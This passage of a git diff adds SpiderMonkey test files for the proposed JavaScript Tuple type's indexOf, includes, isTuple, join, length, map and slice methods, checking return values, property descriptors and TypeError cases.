+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+esid: sec-array.prototype.indexof
+description: >
+ Tuple.prototype.indexOf - 'fromIndex' is a positive non-integer,
+ verify truncation occurs in the proper direction
+---*/
+
+var target = #[];
+
+assertEq(#[0, target, 2].indexOf(target, 2.5), -1, '#[0, target, 2].indexOf(target, 2.5)');
+assertEq(#[0, 1, target].indexOf(target, 2.5), 2, '#[0, 1, target].indexOf(target, 2.5)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-undefined.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-undefined.js
new file mode 100644
index 0000000000..054495a9d9
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-undefined.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Tuple.prototype.indexOf returns 0 if fromIndex is 'undefined'
+---*/
+
+var a = #[1, 2, 3];
+
+// undefined resolves to 0
+assertEq(a.indexOf(1, undefined), 0, 'a.indexOf(1,undefined)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-with-index.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-with-index.js
new file mode 100644
index 0000000000..75a5e5266f
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-with-index.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf match on the first element, a middle
+ element and the last element when 'fromIndex' is passed
+---*/
+
+assertEq(#[0, 1, 2, 3, 4].indexOf(0, 0), 0, '#[0, 1, 2, 3, 4].indexOf(0, 0)');
+assertEq(#[0, 1, 2, 3, 4].indexOf(2, 1), 2, '#[0, 1, 2, 3, 4].indexOf(2, 1)');
+assertEq(#[0, 1, 2, 3, 4].indexOf(2, 2), 2, '#[0, 1, 2, 3, 4].indexOf(2, 2)');
+assertEq(#[0, 1, 2, 3, 4].indexOf(4, 2), 4, '#[0, 1, 2, 3, 4].indexOf(4, 2)');
+assertEq(#[0, 1, 2, 3, 4].indexOf(4, 4), 4, '#[0, 1, 2, 3, 4].indexOf(4, 4)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-zero.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-zero.js
new file mode 100644
index 0000000000..0fa7d114e9
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-zero.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is a number (value
+ is +0)
+---*/
+
+assertEq(#[true].indexOf(true, +0), 0, '#[true].indexOf(true, +0)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/includes.js b/js/src/tests/non262/Tuple/prototype/indexOf/includes.js
new file mode 100644
index 0000000000..26ef2bfb03
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/includes.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.7 Tuple.prototype.includes ( searchElement [ , fromIndex ] )
+Tuple.prototype.includes is a distinct function that implements the same algorithm as Array.prototype.includes as defined in 22.1.3.13 except that ? thisTupleValue(this value) is used instead of directly accessing the this value. The implementation of the algorithm may be optimized with the knowledge that the this value is an object that has a fixed length and whose integer-indexed properties are not sparse, do not change, and their access is not observable. However, such optimization must not introduce any observable changes in the specified behaviour of the algorithm.
+
+This function is not generic, since thisTupleValue(this value) can return an abrupt completion: in that case, that exception is thrown instead of evaluating the algorithm.
+*/
+
+/* Step 1 */
+/* includes() should throw on a non-Tuple */
+let method = Tuple.prototype.includes;
+assertEq(method.call(#[1,2,3,4,5,6], 2), true);
+assertEq(method.call(Object(#[1,2,3,4,5,6]), 2), true);
+assertThrowsInstanceOf(() => method.call("monkeys", 2), TypeError,
+ "value of TupleObject must be a Tuple");
+
+/* Not sure what else to test, since it just calls the array method */
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/length-internal.js b/js/src/tests/non262/Tuple/prototype/indexOf/length-internal.js
new file mode 100644
index 0000000000..a199884f00
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/length-internal.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/* Tuples should have a length ownProperty that can't be overridden, which will
+ * be read by any built-in methods called on Tuples.
+ * This test is expected to fail until the spec change in
+ * https://github.com/tc39/proposal-record-tuple/issues/282 is implemented.
+ */
+
+/*
+t = #[1,2,3];
+Object.defineProperty(Tuple.prototype, "length", {value: 0});
+assertEq(t.includes(2), true);
+*/
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/length.js b/js/src/tests/non262/Tuple/prototype/indexOf/length.js
new file mode 100644
index 0000000000..46cd2b914b
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/length.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.indexOf, "length");
+assertEq(desc.value, 1);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype.indexOf, "name");
+assertEq(desc.value, "indexOf");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "indexOf");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.prototype.indexOf), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.indexOf();
+}, TypeError, '`let t = #[1]; new t.indexOf()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/undefined-throws-type-error.js b/js/src/tests/non262/Tuple/prototype/indexOf/undefined-throws-type-error.js
new file mode 100644
index 0000000000..da72398b79
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/undefined-throws-type-error.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Tuple.prototype.indexOf applied to undefined throws a TypeError
+---*/
+
+
+assertThrowsInstanceOf(function() {
+ Tuple.prototype.indexOf.call(undefined);
+}, TypeError);
+
+assertThrowsInstanceOf(function() {
+ Tuple.prototype.indexOf.call(null);
+}, TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/uses-internal-length.js b/js/src/tests/non262/Tuple/prototype/indexOf/uses-internal-length.js
new file mode 100644
index 0000000000..8c8cc1beb4
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/uses-internal-length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - 'length' is own data property that
+ overrides an inherited data property on an Tuple
+---*/
+
+var target = #[];
+
+Tuple.prototype.length = 0;
+
+assertEq(#[0, target].indexOf(target), 1, '#[0, target].indexOf(target)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/isTuple/isTuple.js b/js/src/tests/non262/Tuple/prototype/isTuple/isTuple.js
new file mode 100644
index 0000000000..714c9cab42
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/isTuple/isTuple.js
@@ -0,0 +1,47 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var f = Tuple.isTuple;
+
+assertEq(typeof f, "function");
+assertEq(f.length, 1);
+assertEq(f(#[]), true);
+assertEq(f(#[1]), true);
+assertEq(f(#[1,2,3]), true);
+assertEq(f(Object(#[])), true);
+assertEq(f(Object(#[1])), true);
+assertEq(f(Object(#[1,2,3])), true);
+
+for (thing of [42, new Number(-42), undefined, true, false, "abc" , new String("a\nb\\!"), {}, [], [1,2,3], new Uint8Array(1,2,3), null, new RegExp(), JSON, new SyntaxError(), function() {}, Math, new Date()]) {
+ assertEq(f(thing), false);
+}
+assertEq(f(Tuple.prototype), false);
+var arg;
+(function fun() { arg = arguments; }(1,2,3));
+assertEq(f(arg), false);
+assertEq(f(this), false);
+
+var proto = [];
+var Con = function() {};
+Con.prototype = proto;
+
+var child = new Con();
+
+assertEq(f(child), false);
+
+var proto = Tuple.prototype;
+var Con = function() {};
+Con.prototype = proto;
+
+var child = new Con();
+
+assertEq(f(child), false);
+
+assertEq(f({
+ 0: 12,
+ 1: 9,
+ length: 2
+}), false);
+
+
+reportCompare(0, 0);
+
+
diff --git a/js/src/tests/non262/Tuple/prototype/isTuple/length.js b/js/src/tests/non262/Tuple/prototype/isTuple/length.js
new file mode 100644
index 0000000000..75acb7aedd
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/isTuple/length.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.isTuple, "length");
+assertEq(desc.value, 1);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+
+desc = Object.getOwnPropertyDescriptor(Tuple.isTuple, "name");
+assertEq(desc.value, "isTuple");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.isTuple), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.isTuple()();
+}, TypeError, '`let t = #[1]; new t.isTuple()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/join/browser.js b/js/src/tests/non262/Tuple/prototype/join/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/join/browser.js
diff --git a/js/src/tests/non262/Tuple/prototype/join/dda-separator.js b/js/src/tests/non262/Tuple/prototype/join/dda-separator.js
new file mode 100644
index 0000000000..cee96a708d
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/join/dda-separator.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+let dda = createIsHTMLDDA();
+
+assertEq(dda == null, true);
+assertEq(dda === null, false);
+
+assertEq(dda == undefined, true);
+assertEq(dda === undefined, false);
+
+let tup = Tuple("A", "B");
+assertEq(tup.join(null), "A,B");
+assertEq(tup.join(undefined), "A,B");
+assertEq(tup.join(dda), "A" + dda.toString() + "B");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/join/shell.js b/js/src/tests/non262/Tuple/prototype/join/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/join/shell.js
diff --git a/js/src/tests/non262/Tuple/prototype/length/length-getter.js b/js/src/tests/non262/Tuple/prototype/length/length-getter.js
new file mode 100644
index 0000000000..7d07c152e3
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/length/length-getter.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*---
+esid: sec-get-%tuple%.prototype.length
+description: >
+info: |
+ get %Tuple%.prototype.length
+
+Tuple.prototype.length is an accessor property whose set accessor function is undefined. Its get accessor function performs the following steps:
+
+1. Let T be ? thisTupleValue(this value).
+2. Let size be the length of T.[[Sequence]].
+3. Return size.
+
+features: [Tuple]
+---*/
+
+/* Section 8.2.3.2 */
+
+let TuplePrototype = Tuple.prototype;
+let desc = Object.getOwnPropertyDescriptor(TuplePrototype, "length");
+
+assertEq(typeof desc.get, "function");
+
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(desc.set, undefined);
+
+let values = [[#[1,2,3], 3], [#[1], 1], [#[], 0]];
+
+for (pair of values) {
+ let tup = pair[0];
+ let len = pair[1];
+ assertEq(desc.get.call(tup), len);
+ assertEq(desc.get.call(Object(tup)), len);
+ assertEq(tup["length"], len);
+}
+
+assertThrowsInstanceOf(() => desc.get.call("monkeys"), TypeError, "get length method called on incompatible string");
+assertThrowsInstanceOf(() => desc.get.call(new Object()), TypeError, "get length method called on incompatible Object");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/map/callback-not-called-on-empty.js b/js/src/tests/non262/Tuple/prototype/map/callback-not-called-on-empty.js
new file mode 100644
index 0000000000..a28699c282
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/map/callback-not-called-on-empty.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var called = 0;
+#[].map(() => called++);
+assertEq(called, 0);
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Tuple/prototype/map/callbackfn-arguments-with-thisarg b/js/src/tests/non262/Tuple/prototype/map/callbackfn-arguments-with-thisarg
new file mode 100644
index 0000000000..88a9454e87
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/map/callbackfn-arguments-with-thisarg
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+/*---
+esid: sec-%Tuple%.prototype.map
+description: >
+ callbackfn arguments
+info: |
+ 8.2.3.20 %Tuple%.prototype.map ( callbackfn [ , thisArg ] )
+
+ ...
+7. Repeat, while k < len,
+a. Let kValue be list[k].
+b. Let mappedValue be ? Call(callbackfn, thisArg, « kValue, k, T »).
+ ...
+features: [Tuple]
+---*/
+
+var sample = #[42,43,44];
+
+var results = [];
+
+sample.map(function() {
+ results.push(arguments);
+ return 0;
+});
+
+assertEq(results.length, 3);
+
+assertEq(results[0].length, 3);
+assertEq(results[0][0], 42);
+assertEq(results[0][1], 0);
+assertEq(results[0][2], sample);
+
+assertEq(results[1].length, 3);
+assertEq(results[1][0], 43);
+assertEq(results[1][1], 1);
+assertEq(results[1][2], sample);
+
+assertEq(results[2].length, 3);
+assertEq(results[2][0], 44);
+assertEq(results[2][1], 2);
+assertEq(results[2][2], sample);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/map/callbackfn-arguments-with-thisarg.js b/js/src/tests/non262/Tuple/prototype/map/callbackfn-arguments-with-thisarg.js
new file mode 100644
index 0000000000..380f493995
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/map/callbackfn-arguments-with-thisarg.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+/*---
+esid: sec-%Tuple%.prototype.map
+description: >
+ callbackfn arguments
+info: |
+ 8.2.3.20 %Tuple%.prototype.map ( callbackfn [ , thisArg ] )
+
+ ...
+7. Repeat, while k < len,
+a. Let kValue be list[k].
+b. Let mappedValue be ? Call(callbackfn, thisArg, « kValue, k, T »).
+ ...
+features: [Tuple]
+---*/
+
+var sample = #[42,43,44];
+var results = [];
+var thisArg = ["monkeys", 0, "bunnies", 0];
+
+sample.map(function() { results.push(arguments); return 0; }, thisArg);
+
+assertEq(results.length, 3);
+assertEq(thisArg.length, 4);
+
+assertEq(results[0].length, 3);
+assertEq(results[0][0], 42);
+assertEq(results[0][1], 0);
+assertEq(results[0][2], sample);
+
+assertEq(results[1].length, 3);
+assertEq(results[1][0], 43);
+assertEq(results[1][1], 1);
+assertEq(results[1][2], sample);
+
+assertEq(results[2].length, 3);
+assertEq(results[2][0], 44);
+assertEq(results[2][1], 2);
+assertEq(results[2][2], sample);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/map/callbackfn-arguments-without-thisarg.js b/js/src/tests/non262/Tuple/prototype/map/callbackfn-arguments-without-thisarg.js
new file mode 100644
index 0000000000..88a9454e87
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/map/callbackfn-arguments-without-thisarg.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+/*---
+esid: sec-%Tuple%.prototype.map
+description: >
+ callbackfn arguments
+info: |
+ 8.2.3.20 %Tuple%.prototype.map ( callbackfn [ , thisArg ] )
+
+ ...
+7. Repeat, while k < len,
+a. Let kValue be list[k].
+b. Let mappedValue be ? Call(callbackfn, thisArg, « kValue, k, T »).
+ ...
+features: [Tuple]
+---*/
+
+var sample = #[42,43,44];
+
+var results = [];
+
+sample.map(function() {
+ results.push(arguments);
+ return 0;
+});
+
+assertEq(results.length, 3);
+
+assertEq(results[0].length, 3);
+assertEq(results[0][0], 42);
+assertEq(results[0][1], 0);
+assertEq(results[0][2], sample);
+
+assertEq(results[1].length, 3);
+assertEq(results[1][0], 43);
+assertEq(results[1][1], 1);
+assertEq(results[1][2], sample);
+
+assertEq(results[2].length, 3);
+assertEq(results[2][0], 44);
+assertEq(results[2][1], 2);
+assertEq(results[2][2], sample);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/map/callbackfn-is-not-callable.js b/js/src/tests/non262/Tuple/prototype/map/callbackfn-is-not-callable.js
new file mode 100644
index 0000000000..e2a3c10bcb
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/map/callbackfn-is-not-callable.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+/*---
+esid: sec-%Tuple%.prototype.map
+description: >
+ callbackfn arguments
+info: |
+ 8.2.3.20 %Tuple%.prototype.map ( callbackfn [ , thisArg ] )
+
+ ...
+ 4. If IsCallable(callbackfn) is false, throw a TypeError exception.
+ ...
+features: [Tuple]
+---*/
+
+var sample = #[1,2,3];
+
+assertThrowsInstanceOf(() => sample.map(), TypeError,
+ "map: callbackfn is not callable (no argument)");
+
+assertThrowsInstanceOf(() => sample.map(undefined), TypeError,
+ "map: callbackfn is not callable (undefined)");
+
+assertThrowsInstanceOf(() => sample.map(null), TypeError,
+ "map: callbackfn is not callable (null)");
+
+assertThrowsInstanceOf(() => sample.map({}), TypeError,
+ "map: callbackfn is not callable ({})");
+
+assertThrowsInstanceOf(() => sample.map(1), TypeError,
+ "map: callbackfn is not callable (1)");
+
+assertThrowsInstanceOf(() => sample.map(""), TypeError,
+ "map: callbackfn is not callable (\"\")");
+
+assertThrowsInstanceOf(() => sample.map(false), TypeError,
+ "map: callbackfn is not callable (false)");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/map/callbackfn-returns-abrupt.js b/js/src/tests/non262/Tuple/prototype/map/callbackfn-returns-abrupt.js
new file mode 100644
index 0000000000..1819aac0c4
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/map/callbackfn-returns-abrupt.js
@@ -0,0 +1,8 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var sample = #[1,2,3];
+
+assertThrowsInstanceOf(() => sample.map(function () { throw new TypeError("monkeys"); }),
+ TypeError,
+ "should throw TypeError: monkeys");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/map/indexed-setters.js b/js/src/tests/non262/Tuple/prototype/map/indexed-setters.js
new file mode 100644
index 0000000000..774f1dc349
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/map/indexed-setters.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+// If an indexed Array setter is overridden, TupleMap shouldn't use it
+// when constructing the intermediate array
+
+z = 5;
+Object.defineProperty(Array.prototype, '0', { set: function(y) { z = 42; }});
+newT = #[1,2,3].map(x => x*x);
+assertEq(z, 5);
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Tuple/prototype/map/invoked-as-func.js b/js/src/tests/non262/Tuple/prototype/map/invoked-as-func.js
new file mode 100644
index 0000000000..6a485157b2
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/map/invoked-as-func.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var map = Tuple.prototype.map;
+
+assertEq(typeof map, 'function');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/map/invoked-as-method.js b/js/src/tests/non262/Tuple/prototype/map/invoked-as-method.js
new file mode 100644
index 0000000000..bf838117b8
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/map/invoked-as-method.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var TuplePrototype = Tuple.prototype;
+
+assertEq(typeof TuplePrototype.map, 'function');
+
+assertThrowsInstanceOf(function() {
+ TuplePrototype.map();
+}, TypeError, "Tuple.prototype.map() with no argument");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/map/length-internal.js b/js/src/tests/non262/Tuple/prototype/map/length-internal.js
new file mode 100644
index 0000000000..9d4538288c
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/map/length-internal.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+Object.defineProperty(Tuple.prototype, "length", {value: 0});
+let t = #[1,2,3];
+var result = t.map(x => x + 1);
+// overriding length shouldn't have an effect
+assertEq(result, #[2,3,4]);
+
+
+Object.defineProperty(Tuple.prototype, "length", {
+ get() { return 0 }
+});
+let u = #[1,2,3];
+var result = u.map(x => x + 1);
+// overriding length shouldn't have an effect
+assertEq(result, #[2,3,4]);
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Tuple/prototype/map/length.js b/js/src/tests/non262/Tuple/prototype/map/length.js
new file mode 100644
index 0000000000..02d77af7ed
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/map/length.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.map, "length");
+assertEq(desc.value, 1);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype.map, "name");
+assertEq(desc.value, "map");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "map");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.prototype.map), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.map();
+}, TypeError, '`let t = #[1]; new t.map()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/map/map.js b/js/src/tests/non262/Tuple/prototype/map/map.js
new file mode 100644
index 0000000000..40f871b1d2
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/map/map.js
@@ -0,0 +1,85 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.20 Tuple.prototype.map ( callbackfn [ , thisArg ] )
+NOTE
+callbackfn should be a function that accepts three arguments. map calls callbackfn once for each element in the Tuple, in ascending order, and constructs a new tuple from the results.
+
+If a thisArg parameter is provided, it will be used as the this value for each invocation of callbackfn. If it is not provided, undefined is used instead.
+
+callbackfn is called with three arguments: the value of the element, the index of the element, and the Tuple being traversed.
+
+When the map method is called with one or two arguments, the following steps are taken:
+
+1. Let T be ? thisTupleValue(this value).
+2. Let list be T.[[Sequence]].
+3. Let len be the number of elements in list.
+4. If IsCallable(callbackfn) is false, throw a TypeError exception.
+5. Let newList be a new empty List.
+6. Let k be 0.
+7. Repeat, while k < len,
+a. Let kValue be list[k].
+b. Let mappedValue be ? Call(callbackfn, thisArg, « kValue, k, T »).
+c. If Type(mappedValue) is Object, throw a TypeError exception.
+d. Append mappedValue to the end of list newList.
+e. Set k to k + 1.
+8. Return a new Tuple value whose [[Sequence]] is newList.
+
+*/
+
+/* Step 1 */
+/* map() should throw on a non-Tuple */
+let method = Tuple.prototype.map;
+let f = (x, i, tup) => x + 1;
+assertEq(method.call(#[1,2,3,4,5,6],f), #[2,3,4,5,6,7]);
+assertEq(method.call(Object(#[1,2,3,4,5,6]), f), #[2,3,4,5,6,7]);
+assertThrowsInstanceOf(() => method.call("monkeys", f), TypeError,
+ "value of TupleObject must be a Tuple");
+
+let tup = #[1,2,3];
+
+/* Step 4 */
+/* callbackfn not callable -- should throw */
+assertThrowsInstanceOf(() => tup.map(), TypeError,
+ "missing function argument to Tuple.prototype.map");
+assertThrowsInstanceOf(() => tup.map(undefined), TypeError,
+ "missing function argument to Tuple.prototype.map");
+assertThrowsInstanceOf(() => tup.map("monkeys"), TypeError,
+ "bad function argument to Tuple.prototype.map");
+
+
+/* callbackfn with 1 argument -- should be allowed */
+var f2 = x => x * x;
+assertEq(tup.map(f2), #[1, 4, 9]);
+
+/* callbackfn with 2 arguments -- should be allowed */
+f2 = (x, i) => x + i;
+assertEq(tup.map(f2), #[1, 3, 5]);
+
+/* callbackfn with > 3 arguments -- subsequent ones will be undefined */
+var f3 = (a, b, c, d, e) => e === undefined;
+assertEq(tup.map(f3), #[true, true, true]);
+
+/* callbackfn should be able to use index and tuple */
+var f4 = (x, i, tup) => (tup.indexOf(x+1) * i * x);
+assertEq(tup.map(f4), #[0, 4, -6]);
+
+/* explicit thisArg */
+f1 = function (x, i, tup) { return(this.elements.indexOf(x) * x); };
+assertEq(#[1,2,3,4,5].map(f1, { elements: [2, 4] }), #[-1, 0, -3, 4, -5]);
+
+/* Step 3 */
+/* Test that length is still handled correctly if it's overridden */
+Object.defineProperty(Tuple.prototype, "length", { get() { return 0 } })
+assertEq(tup.map(f), #[2,3,4]);
+
+/* Step 7 */
+assertEq(#[].map(f), #[]);
+assertEq(#[1].map(f), #[2]);
+assertEq(#[1,2].map(f), #[2,3]);
+
+/* Step 7c. */
+var badFun = x => new Object(x);
+assertThrowsInstanceOf(() => tup.map(badFun),
+ TypeError, "Tuples cannot contain Objects");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/map/this-is-not-tuple.js b/js/src/tests/non262/Tuple/prototype/map/this-is-not-tuple.js
new file mode 100644
index 0000000000..5464da96f5
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/map/this-is-not-tuple.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+/*---
+esid: sec-%typedarray%.prototype.map
+description: Throws a TypeError exception when `this` is not a Tuple
+info: |
+
+features: [Tuple]
+---*/
+
+var map = Tuple.prototype.map;
+var callbackfn = function() {};
+
+var thisVals = [[undefined, "undefined"],
+ [null, "null"],
+ [42, "42"],
+ ["1", "1"],
+ [true, "true"],
+ [false, "false"],
+ [Symbol("s"), "Symbol(\"s\")"]];
+
+for (pair of thisVals) {
+ thisVal = pair[0];
+ errorMsg = "this is: " + pair[1];
+ assertThrowsInstanceOf(() => map.call(thisVal, callbackfn),
+ TypeError, errorMsg);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/slice/invoked-as-func.js b/js/src/tests/non262/Tuple/prototype/slice/invoked-as-func.js
new file mode 100644
index 0000000000..961ed9aff5
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/slice/invoked-as-func.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var slice = Tuple.prototype.slice;
+
+assertThrowsInstanceOf(function() { slice() }, TypeError,
+ "value of TupleObject must be a Tuple");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/slice/invoked-as-method.js b/js/src/tests/non262/Tuple/prototype/slice/invoked-as-method.js
new file mode 100644
index 0000000000..291bf433cd
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/slice/invoked-as-method.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var TuplePrototype = Tuple.prototype;
+
+assertEq(typeof TuplePrototype.slice, 'function');
+
+assertThrowsInstanceOf(function() { TuplePrototype.slice() }, TypeError,
+ "value of TupleObject must be a Tuple");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/slice/length.js b/js/src/tests/non262/Tuple/prototype/slice/length.js
new file mode 100644
index 0000000000..d0e9359934
--- /dev/null
